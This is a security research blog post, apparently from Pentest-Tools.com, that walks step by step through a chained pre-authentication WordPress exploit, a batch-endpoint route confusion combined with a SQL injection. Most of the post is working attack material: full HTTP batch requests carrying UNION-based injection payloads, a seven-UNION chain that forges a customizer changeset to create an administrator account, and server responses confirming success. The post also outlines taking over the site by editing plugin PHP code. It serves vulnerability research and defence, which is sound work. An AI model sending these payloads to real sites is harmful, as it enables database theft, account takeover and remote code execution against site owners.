wp2shell (weekend to shell edition)
- Publisher
- Pentest-Tools.com
- Updated at

- Article tags
Hi, wilkomen, long time no type(ing)!
We’d like to tell you we had a more grandiose reason for not writing articles lately other than “we were busy”, but as hips and (unpublished) PoCs don’t lie: we were busy.
Like probably the whole internet is now aware, but we will reiterate for those who live under a rock (‘n roll):
WordPress core versions 6.8.0 through 6.8.5, 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1 are vulnerable to a pre-authentication SQL injection via the REST API batch endpoint. A route confusion vulnerability (CVE-2026-63030) allows nested batch requests to bypass authentication checks, while a SQL injection flaw (CVE-2026-60137) in the author_exclude parameter of /wp/v2/categories allows arbitrary SQL queries. An unauthenticated attacker can extract the full database contents including user credentials.
Versions 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1 are vulnerable to a pre-authenticated full remote code execution chain.
So now let me impart with you the tale of how our weekend went poof.

What-Press?
WORD-Press. WordPress, is in the words of Wikipedia:
WordPress (WP, or WordPress.org) is a web content management system. It was originally created as a tool to publish blogs but has evolved to support publishing other web content, including more traditional websites, mailing lists, Internet forums, media galleries, membership sites, learning management systems, and online stores.
Available as free and open-source software, WordPress is among the most popular content management systems – it was used by 22.52% of the top one million websites as of December 2024.
Well as it’s been a hot minute since 2024 lets recheck them statistics for 2026:



CVE-2026-63030 - Batch endpoint route confusion
As the name of this title implies, this vulnerability lives in WP’s batch request functionality, which is responsible for receiving one request from a trusted user and executing N different requests and sub-requests to internals that support Batching (e.g. users, posts, tags, categories, etc.).
The problem occurs when the end user (or malicious attacker) supplies an invalid path URL such that WordPress fails in a way that, behind the scenes, the arrays responsible for handling batch requests get misaligned. The misalignment results in the incorrect association between “where the request is sent” and “what permissions are required to perform the request”.
Handling unhandled edgecases

For example, here’s a simple legitimate HTTP request that calls the batch endpoint:
POST /?rest_route=/batch/v1 HTTP/1.1
Host: wp2shell
Content-Length: 134
Content-Type: application/json
{
"requests": [
{
"method": "POST",
"path": "/wp/v2/users",
"body": {
"username": "ptt",
"email": "ptt@test.test",
"password": "test"
}
}
]
}As we didn’t provide any valid user information, by default all batches will execute as user 0 Anonymous (Chekhov's Anonymous user, please keep this in the back of your mind as it’ll be relevant later) and, of course, we receive the expected 401 response that we aren’t allowed to create new users.
HTTP/1.1 207 Multi-Status
Date: Mon, 20 Jul 2026 15:53:20 GMT
Server: Apache/2.4.68 (Debian)
X-Powered-By: PHP/8.3.32
X-Robots-Tag: noindex
Link: <http://localhost:8888/index.php?rest_route=/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Allow: POST
Content-Length: 180
Content-Type: application/json; charset=UTF-8
{
"responses": [
{
"body": {
"code": "rest_cannot_create_user",
"message": "Sorry, you are not allowed to create new users.",
"data": {
"status": 401
}
},
"status": 401,
"headers": {
"Allow": "GET"
}
}
]
}Now here is where we go off the beaten track and into ExploitLand™.
Request:
POST /?rest_route=/batch/v1 HTTP/1.1
Host: wp2shell
Content-Length: 207
Content-Type: application/json
{
"requests": [
{
"method": "POST",
"path": "//"
},
{
"method": "POST",
"path": "/wp/v2/users",
"body": {
"username": "ptt",
"email": "ptt@test.test",
"password": "test"
}
},
{
"method": "POST",
"path": "/batch/v1"
}
]
}Response:
HTTP/1.1 207 Multi-Status
Date: Mon, 20 Jul 2026 16:00:34 GMT
Server: Apache/2.4.68 (Debian)
X-Powered-By: PHP/8.3.32
X-Robots-Tag: noindex
Link: <http://localhost:8888/index.php?rest_route=/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Allow: POST
Content-Length: 361
Content-Type: application/json; charset=UTF-8
{
"responses": [
{
"body": {
"code": "parse_path_failed",
"message": "Could not parse the path.",
"data": {
"status": 400
}
},
"status": 400,
"headers": []
},
{
"body": {
"responses": []
},
"status": 207,
"headers": {
"Allow": "POST"
}
},
{
"body": {
"code": "rest_batch_not_allowed",
"message": "The requested route does not support batch requests.",
"data": {
"status": 400
}
},
"status": 400,
"headers": []
}
]
}Okay, so we sent 3 requests in batch and received 3 responses:
Path elements such as “//” or “:<number>” are invalid paths so it returns a “parse_path_failed”. OK, expected.
The previous POST to “/wp/v2/users” returns a 207 instead of the 401 Unauthorized response. KO, exception.
The final POST to “/batch/v1” returns a “route does not support batch requests” error. OK, expected.
WAIT, WHAT??? 207 instead of 401???
Sadly, because our batches execute as the above-mentioned Anonymous user (keep keeping it in the back of your mind), we still can’t directly create users even if the 401 was bypassed.
Why does this happen?
TL;DR:
Because the failure case is pushed to the “$requests” array, but not to the “$matches” array, eventually you get to perform a request to a valid batch endpoint (in this case “/wp/v2/users”) using the access required by the next path in the list, such as “/batch/v1” which is accessible to anonymous users (even if it doesn’t support the batch functionality).
Too long, will read
These are the 3 code sections responsible for this behaviour.
wp-includes/rest-api/class-wp-rest-server.php - Lines 1712-1738 are responsible for appending the failure response to “$requests”:
foreach ( $batch_request['requests'] as $args ) {
$parsed_url = wp_parse_url( $args['path'] );
if ( false === $parsed_url ) {
$requests[] = new WP_Error( 'parse_path_failed', __( 'Could not parse the path.' ), array( 'status' => 400 ) );
continue; // <-- error object stored in $requests, in order
}
$single_request = new WP_REST_Request( $args['method'] ?? 'POST', $parsed_url['path'] );
...
$requests[] = $single_request;
}class-wp-rest-server.php - Lines 1740-1798 forget to push the error to “$matches”:
$matches = array();
$validation = array();
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
$validation[] = $single_request; // <-- pushed to $validation
continue; // <-- but NOT to $matches; loop skips ahead
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match; // <-- $matches ONLY grows for non-error items
...
if ( $error ) {
$validation[] = $error;
} else {
$validation[] = true; // <-- $validation grows for EVERY item
}
}class-wp-rest-server.php - Lines 1820-1857 are responsible for performing the rest of the requests with the misaligned arrays:
foreach ( $requests as $i => $single_request ) {
if ( is_wp_error( $single_request ) ) {
$result = $this->error_to_response( $single_request ); // i=0: parse_path_failed 400
$responses[] = $this->envelope_response( $result, false )->get_data();
continue;
}
...
if ( empty( $result ) ) {
$match = $matches[ $i ]; // <-- i=1 for posts, but $matches has no [1]
$error = null;
if ( is_wp_error( $validation[ $i ] ) ) { // $validation[1] is correctly aligned (=true)
$error = $validation[ $i ];
}
if ( is_wp_error( $match ) ) {
$result = $this->error_to_response( $match );
} else {
list( $route, $handler ) = $match; // <-- $match came from the wrong/undefined slot
...
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
}Batching batches

Usually batch only allows methods like POST, PUT, PATCH, and DELETE, but sub-requests gain access to GET, so we can do things like list all users or posts.
Request:
POST /?rest_route=/batch/v1 HTTP/1.1
Host: wp2shell
Content-Length: 342
Content-Type: application/json
{
"requests": [
{
"method": "POST",
"path": "//"
},
{
"method": "POST",
"path": "/wp/v2/users",
"body": {
"username": "ptt",
"email": "ptt@test.test",
"password": "test",
"requests": [
{
"method": "GET",
"path": "//"
},
{
"method": "GET",
"path": "/wp/v2/posts"
},
{
"method": "GET",
"path": "/wp/v2/users"
}
]
}
},
{
"method": "POST",
"path": "/batch/v1"
}
]
}Response:
HTTP/1.1 207 Multi-Status
Date: Mon, 20 Jul 2026 16:29:18 GMT
Server: Apache/2.4.68 (Debian)
X-Powered-By: PHP/8.3.32
X-Robots-Tag: noindex
Link: <http://localhost:8888/index.php?rest_route=/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Allow: POST
Content-Length: 1456
Content-Type: application/json; charset=UTF-8
{
"responses": [
{
"body": {
"code": "parse_path_failed",
"message": "Could not parse the path.",
"data": {
"status": 400
}
},
"status": 400,
"headers": []
},
{
"body": {
"responses": [
{
"body": {
"code": "parse_path_failed",
"message": "Could not parse the path.",
"data": {
"status": 400
}
},
"status": 400,
"headers": []
},
{
"body": [
{
"id": 1,
"name": "admin",
"url": "http://localhost:8888",
"description": "",
"link": "http://localhost:8888/?author=1",
"slug": "admin",
"avatar_urls": {
"24": "https://secure.gravatar.com/avatar/77cdaae86ae204fe32b864524652f320d19b331e7b94001f59a57ea827f58ff9?s=24&d=mm&r=g",
"48": "https://secure.gravatar.com/avatar/77cdaae86ae204fe32b864524652f320d19b331e7b94001f59a57ea827f58ff9?s=48&d=mm&r=g",
"96": "https://secure.gravatar.com/avatar/77cdaae86ae204fe32b864524652f320d19b331e7b94001f59a57ea827f58ff9?s=96&d=mm&r=g"
},
"meta": [],
"_links": {
"self": [
{
"href": "http://localhost:8888/index.php?rest_route=/wp/v2/users/1",
"targetHints": {
"allow": [
"GET"
]
}
}
],
"collection": [
{
"href": "http://localhost:8888/index.php?rest_route=/wp/v2/users"
}
]
}
}
],
"status": 200,
"headers": {
"X-WP-Total": 1,
"X-WP-TotalPages": 1,
"Allow": "GET"
}
},
{
"body": {
"code": "rest_invalid_handler",
"message": "The handler for the route is invalid",
"data": {
"status": 500
}
},
"status": 500,
"headers": []
}
]
},
"status": 207,
"headers": {
"Allow": "POST"
}
},
{
"body": {
"code": "rest_batch_not_allowed",
"message": "The requested route does not support batch requests.",
"data": {
"status": 400
}
},
"status": 400,
"headers": []
}
]
}Cool, a good day for science, but not very impactful.

CVE-2026-60137 - SQL Injection
If the above part was a bit confusing, don’t sweat, here comes the easy part.
The SQL injection in the author__not_in is as classic as it gets and everyone and their grep can find it.
Here is the vulnerable code from class-wp-query.php - Lines 2399-2405:
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // irrelevant as string is not an array
$query_vars['author__not_in'] = array_map( 'absint', ... );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
problem opportunity lies in the fact that it is practically unreachable because of sanitizations and array checks, though going for layered mitigations instead of using a good old parametrized query, does leave me a bit perplexed.
Most of the internet would say that time based blind SQLi is the easiest way to exploit it, but I am a firm believer that UNION-based exploitation is the most rewarding when possible and if not boolean based blind is a close second.
In this case, we’ll go down the UNION route with a query that targets the wp_posts table (posts will be relevant for the later presented RCE chain so we’ll focus on them):
/wp/v2/posts/9999?author_exclude=0)+UNION+SELECT+1,2,3,4,5,(SELECT+user()),7,"publish",9,10,11,12,13,14,15,16,17,18,19,20,"post",22,23--+-&orderby=none&per_page=500Note: If you use other endpoints besides posts (e.g. users),you also need to change the fields in the UNION select.
The full resulting SQL query should look something like this with our injection point in $author__not_in:
SELECT SQL_CALC_FOUND_ROWS wp_posts.*
FROM wp_posts
WHERE 1=1 AND
wp_posts.post_author NOT IN (0) UNION SELECT 1,2,3,4,5,(SELECT user()),7,"publish",9,10,11,12,13,14,15,16,17,18,19,20,"post",22,23-- -) AND wp_posts.post_type = 'post' AND ((wp_posts.post_status = 'publish'))
LIMIT 0, 500Alas, we cannot directly send this query to Wordpress and, therefore, the SQLi will never happen. Oh, wait …
Pre-Authenticated SQLi by chaining CVE-2026-63030 & CVE-2026-60137

Putting all the theory above together, we can get the following request:
POST /?rest_route=/batch/v1 HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Length: 447
Host: 127.0.0.1:8888
User-Agent: Python-urllib/3.12
Content-Type: application/json
Connection: keep-alive
{
"requests": [
{
"method": "POST",
"path": "//"
},
{
"method": "POST",
"path": "/wp/v2/tags",
"body": {
"name": "tags",
"requests": [
{
"method": "GET",
"path": "//"
},
{
"method": "GET",
"path": "/wp/v2/posts/9999?author_exclude=0)+UNION+SELECT+1,2,3,4,5,(SELECT+user()),7,\"publish\",9,10,11,12,13,14,15,16,17,18,19,20,\"post\",22,23--+-&orderby=none&per_page=500"
},
{
"method": "GET",
"path": "/wp/v2/posts"
}
]
}
},
{
"method": "POST",
"path": "/batch/v1"
}
]
}And the response will include the information we want to exfiltrate:
HTTP/1.1 207 Multi-Status
Date: Tue, 21 Jul 2026 18:27:44 GMT
Server: Apache/2.4.68 (Debian)
X-Powered-By: PHP/8.3.32
X-Robots-Tag: noindex
Link: <http://localhost:8888/index.php?rest_route=/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Allow: POST
Content-Length: 7940
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json; charset=UTF-8
{
"responses": [
{
"body": {
"code": "parse_path_failed",
"message": "Could not parse the path.",
"data": {
"status": 400
}
},
"status": 400,
"headers": []
},
{
"body": {
"responses": [
{
"body": {
"code": "parse_path_failed",
"message": "Could not parse the path.",
"data": {
"status": 400
}
},
"status": 400,
"headers": []
},
{
"body": [
{
"id": 1,
"date": "2026-07-18T11:26:14",
"date_gmt": "2026-07-18T11:26:14",
"guid": {
"rendered": "http://localhost:8888/?p=1"
},
"modified": "2026-07-18T11:26:14",
"modified_gmt": "2026-07-18T11:26:14",
"slug": "hello-world",
"status": "publish",
"type": "post",
"link": "http://localhost:8888/?p=1",
"title": {
"rendered": "wordpress@172.22.0.3"
},
"content": {
***TRUNCATED***Now that we have a high, some might even say critical, unauthenticated SQLi, we can call it a day and enjoy what little remains of the weekend, right? RIGHT???
Black Magiks - SQLi to RCE
Usually, we would call it a day and agree with nay-sayers that “SQLi can only be converted to RCE by cracking an admin’s hash” but, then again, the SQL injection itself is only a High 7.5, what black magicks in the Batch component makes RCE possible.
The question is not “to RCE or not to RCE?”. The question is “HOW!?”
Knowing Searchlight Cybers’ track record, I was expecting an RCE via PHP Deserialization, but it turns out I was wrong - and oh so very off the mark.

Remember Chekhov's Anonymous? What if we could use a set privilege chain that also forgets to downgrade those privileges, so we set ourselves to an administrative user? Then our life would be simple: create a new admin via batch POST.
Fake posts, real cache
The glue that makes this possible is the oEmbed-cache elements. If we can insert “[embed]” elements into an ephemeral's post content, can we trigger these oEmbed functions?
The answer is a resounding, yet not very straightforward, YES!
Request:
POST /?rest_route=/batch/v1 HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Length: 521
Host: 127.0.0.1:9999
Content-Type: application/json
User-Agent: wp2shell
Connection: keep-alive
{
"requests": [
{
"method": "POST",
"path": "http://:"
},
{
"method": "POST",
"path": "/wp/v2/posts",
"body": {
"requests": [
{
"method": "GET",
"path": "http://:"
},
{
"method": "GET",
"path": "/wp/v2/posts/999999?author_exclude=1)+AND+1%3d0+UNION+ALL+SELECT+0,1,0,0,\"[embed]/%3fp%3d1%231[/embed][embed]/%3fp%3d1%23trigger[/embed][embed]/%3fp%3d1%233[/embed]\",0,0,\"publish\",0,0,0,0,0,0,0,0,0,0,0,0,\"post\",0,0+--+-&per_page=500&orderby=none"
},
{
"method": "GET",
"path": "/wp/v2/posts"
}
]
}
},
{
"method": "POST",
"path": "/batch/v1"
}
]
}Note: The embed element is inserted in the SQL 5-th element that represents the “wp_post” content column.
But, before we can use them, we need to see they’ve been created and what their ID is. Thankfully, we can do this via the same SQLi we used until now to exfiltrate information.
The IDs we’re looking for can be found via the following SQL query:
SELECT CONCAT("Cache IDs:",GROUP_CONCAT(ID)) FROM `wp_posts` WHERE post_type="oembed_cache"And the full request is the following:
POST /?rest_route=/batch/v1 HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Length: 531
Host: 127.0.0.1:8888
User-Agent: Python-urllib/3.12
Content-Type: application/json
Connection: keep-alive
{
"requests": [
{
"method": "POST",
"path": "//"
},
{
"method": "POST",
"path": "/wp/v2/tags",
"body": {
"name": "tags",
"requests": [
{
"method": "GET",
"path": "//"
},
{
"method": "GET",
"path": "/wp/v2/posts/9999?author_exclude=0)+UNION+SELECT+1,2,3,4,5,(SELECT+CONCAT(\"Cache+IDs:\",GROUP_CONCAT(ID))+FROM+`wp_posts`+WHERE+post_type%3d\"oembed_cache\"),7,\"publish\",9,10,11,12,13,14,15,16,17,18,19,20,\"post\",22,23--+-&orderby=none&per_page=500"
},
{
"method": "GET",
"path": "/wp/v2/posts"
}
]
}
},
{
"method": "POST",
"path": "/batch/v1"
}
]
}Response:
HTTP/1.1 207 Multi-Status
Date: Wed, 22 Jul 2026 09:17:51 GMT
Server: Apache/2.4.68 (Debian)
X-Powered-By: PHP/8.3.32
X-Robots-Tag: noindex
Link: <http://localhost:8888/index.php?rest_route=/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Allow: POST
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json; charset=UTF-8
Content-Length: 8030
{"responses":[
***TRUNCATED***
"title":{"rendered":"Cache IDs:4,5,6"},
***TRUNCATED***Note: On a fresh default install, the IDs are always 4,5,6. For non-default installs, look for the last 3 IDs returned (there are more sophisticated/targeted queries for doing this but we consider this to be out of scope).
7th union of a 7th union
Ok so, what do we mean by “not straight-forward”?
Well, to achieve our desired result, we need to create a relational table between the posts that will make most family trees cry and shriek in terror.
But enough postponing. Let’s look at the 7 SQL unions we need to execute to achieve this:
We’ll create one last
embedpost that will serve as our trigger for the full chain:
UNION ALL SELECT 0,1,NULL,NULL,'[embed]/?p=1#trigger[/embed]',NULL,NULL,'publish',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'post',NULL,NULLNote: Embedded URL /?p=1#trigger, must match the exact URL given to the oEmbed-cache elements with id 5.
Second SQL changes the post type to
changesetand adds anav_menu_itemwhich will eventually result in escalating the batch user to admin:
UNION ALL SELECT 4,1,'2000-01-01 00:00:00','2000-01-01 00:00:00','{"nav_menu_item[22222]":{"type":"nav_menu_item","user_id":1,"value":{"object_id":0,"object":"","menu_item_parent":0,"position":0,"type":"custom","title":"generated","url":"https://pentest-tools.invalid/","target":"","attr_title":"","description":"","classes":"","xfn":"","status":"publish","nav_menu_term_id":0,"_invalid":false}}}',NULL,NULL,'future',NULL,NULL,NULL,'aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa',NULL,NULL,NULL,NULL,NULL,11111,NULL,NULL,'customize_changeset',NULL,NULLNotable elements:
post_id4, linking the information to a previous oEmbed-cache post we createdpost_typeis set tocustomize_changesetpost_nameis set toaaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa(used as the changeset_uuid, must be unique)post_statusis set tofutureand by giving it a date in the past, in thepost_dateandpost_date_gmtelements, WP will hustle to “publish” that fictitious post like a student with long overdue homeworkpost_contentwill also contain anav_menu_item, of random id (22222) that contains the user_id of1, in this case the id of a WP admin, user that will propagate all the way towp_set_current_user(1).post_parentis set to 11111 (we will create it in the next steps)
With our 3rd union, we’ll create a new post with id 11111 that we will link back to post 4:
UNION ALL SELECT 11111,1,NULL,NULL,NULL,NULL,NULL,'draft',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL,NULL,'post',NULL,NULLNotable elements:
post_idis 11111parentis 4 (corresponds to a created cache post)
For those keeping the score we made post 11111 the parent of post 4 and now we are making 4 the parent of 11111.
We make post 4 the parent of our “trigger” post with id 5:
UNION ALL SELECT 5,1,NULL,NULL,NULL,NULL,NULL,'publish',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL,NULL,'post',NULL,NULLNotable elements:
post_idis 5 (corresponds to the “trigger” created cache post)parentis 4 (corresponds to a created cache post)
We create a
nav_menu_element:
UNION ALL SELECT 22222,1,NULL,NULL,NULL,NULL,NULL,'publish',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,6,NULL,NULL,'nav_menu_item',NULL,NULLNotable elements:
post_idis 22222 (corresponds to the nav_element)parentis 6 (corresponds to a created cache post)post_typeisnav_menu_item
Trigger the parsing on the
nav_menu_elementvia a “Parse Request”:
UNION ALL SELECT 6,1,NULL,NULL,NULL,NULL,NULL,'parse',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,33333,NULL,NULL,'request',NULL,NULLNotable elements:
post_idis 6 (corresponds to created cache post)parentis 33333post_statusisparsepost_typeisrequest
And finally again performing a cyclic linking where 6 is the parent of 33333 whose parent is… 6:
UNION ALL SELECT 33333,1,NULL,NULL,NULL,NULL,NULL,'draft',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,6,NULL,NULL,'post',NULL,NULLNotable elements:
post_idis 33333parentis 6
Note: Ids 111112222233333 have been randomly chosen, the numbers themselves are not relevant, but the relationships between the rest of the posts are.
Of course, now that we have all this, we need to squeeze it into the “?exclude_author” parameter:
POST /?rest_route=/batch/v1 HTTP/1.1
Content-Length: 2133
Host: 127.0.0.1:9999
Content-Type: application/json
{
"requests": [
{
"method": "POST",
"path": "http://"
},
{
"method": "POST",
"path": "/wp/v2/posts",
"body": {
"requests": [
{
"method": "GET",
"path": "http://"
},
{
"method": "GET",
"path": "/wp/v2/posts/999999?author_exclude=1%29+AND+1%3D0+UNION+ALL+SELECT+0,1,NULL,NULL,'[embed]/%3fp%3d1%23trigger[/embed]',NULL,NULL,'publish',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'post',NULL,NULL+UNION ALL SELECT 4,1,'2000-01-01 00:00:00','2000-01-01 00:00:00','{\"nav_menu_item[22222]\":{\"type\":\"nav_menu_item\",\"user_id\":1,\"value\":{\"object_id\":0,\"object\":\"\",\"menu_item_parent\":0,\"position\":0,\"type\":\"custom\",\"title\":\"generated\",\"url\":\"https://pentest-tools.invalid/\",\"target\":\"\",\"attr_title\":\"\",\"description\":\"\",\"classes\":\"\",\"xfn\":\"\",\"status\":\"publish\",\"nav_menu_term_id\":0,\"_invalid\":false}}}',NULL,NULL,'future',NULL,NULL,NULL,'aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa',NULL,NULL,NULL,NULL,NULL,11111,NULL,NULL,'customize_changeset',NULL,NULL+UNION+ALL+SELECT+11111,1,NULL,NULL,NULL,NULL,NULL,'draft',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL,NULL,'post',NULL,NULL+UNION+ALL+SELECT+5,1,NULL,NULL,NULL,NULL,NULL,'publish',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL,NULL,'post',NULL,NULL+UNION+ALL+SELECT+22222,1,NULL,NULL,NULL,NULL,NULL,'publish',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,6,NULL,NULL,'nav_menu_item',NULL,NULL+UNION+ALL+SELECT+6,1,NULL,NULL,NULL,NULL,NULL,'parse',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,33333,NULL,NULL,'request',NULL,NULL+UNION+ALL+SELECT+33333,1,NULL,NULL,NULL,NULL,NULL,'draft',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,6,NULL,NULL,'post',NULL,NULL+--+-&per_page=500&orderby=none"
},
{
"method": "GET",
"path": "/wp/v2/posts"
},
{
"method": "POST",
"path": "/wp/v2/users",
"body": {
"username": "wp2_ptt",
"password": "Manually_recreated_the_exploit_to_understand_how_it_works:))",
"email": "wp2_ptt@pentest-tools.com",
"roles": [
"administrator"
]
}
},
{
"method": "POST",
"path": "/wp/v2/users",
"body": {
"username": "aaa",
"password": "aaa",
"email": "aaa@aaa.aaa"
}
}
]
}
},
{
"method": "POST",
"path": "/batch/v1"
}
]
}Response:
HTTP/1.1 207 Multi-Status
Date: Wed, 22 Jul 2026 10:50:00 GMT
Server: Apache/2.4.68 (Debian)
X-Powered-By: PHP/8.3.32
X-Robots-Tag: noindex
Link: <http://localhost:8888/index.php?rest_route=/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Allow: POST
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Content-Length: 3340
Content-Type: application/json; charset=UTF-8
***TRUNCATED***
{
"body": {
"id": 2,
"username": "wp2_ptt",
"name": "wp2_ptt",
"first_name": "",
"last_name": "",
"email": "wp2_ptt@pentest-tools.com",
"url": "",
"description": "",
"link": "http:\/\/localhost:8888\/?author=2",
"locale": "en_US",
"nickname": "wp2_ptt",
"slug": "wp2_ptt",
"roles": [
"administrator"
]
}
}
***TRUNCATED***

Admin 2 RCE
We are now in control of an admin account, and getting RCE from here is trivial compared to the rest of the exploit, so let’s quickly go through this process.
There are 2 (in)famous ways of obtaining RCE in Wordpress:
Uploading a WP plugin containing arbitrary PHP code
OR
Directly modifying the PHP code from a theme or plugin
Oh, hello again Dolly! It’s time to have some fun.
First we edit the “hello.php” with arbitrary PHP code:



Conclusions
So, to recap the weekend: a route-confusion bug that looked like a shrug-worthy 401 bypass, chained with a SQL injection the WordPress team had fenced off with sanitization instead of just parameterising the query.
Individually, a medium and a “practically unreachable” high. Together, an unauthenticated attacker walks away with your entire database, usernames, and password hashes.
And then, because two CVEs apparently weren’t enough content for one article, we kept pulling.
Turns out the same batch machinery that bypassed auth also forgets to downgrade privileges on a set-current-user call somewhere deep in its guts. Seven UNIONs, several fake oEmbed caches, and a customizer changeset later, Chekhov’s anonymous user is sitting in the admin’s chair. Pre-auth SQLi to full RCE, no cracked hashes required.
Credit where it’s due, though: most internet-facing WordPress installs are patched almost instantly.
I found this out the hard way myself, watching our own vulnerable lab environments get patched out from under me about two hours after I’d deployed them.

It only worked UNION-based at first, and the RCE path leaned on OUTFILE, which needs a misconfiguration you’re unlikely to see in the wild.
The Sniper exploit that dropped Saturday inherited the same limitations. Things moved fast after that: a PR on Sunday added a full admin-creation-plus-webshell path that doesn’t need OUTFILE at all, and a PR today added a time-based blind SQLI variant for the cases where UNION isn’t an option.
We’d like to think we stayed roughly up to date with the exploit as new details surfaced, but the timeline moved quicker than this writeup did.


If you can’t patch immediately, disabling or rate-limiting the batch endpoint at the edge buys you time. It won’t fix the SQLi, but it closes the door we walked through to reach it.
That’s the weekend. Going back to sleep.






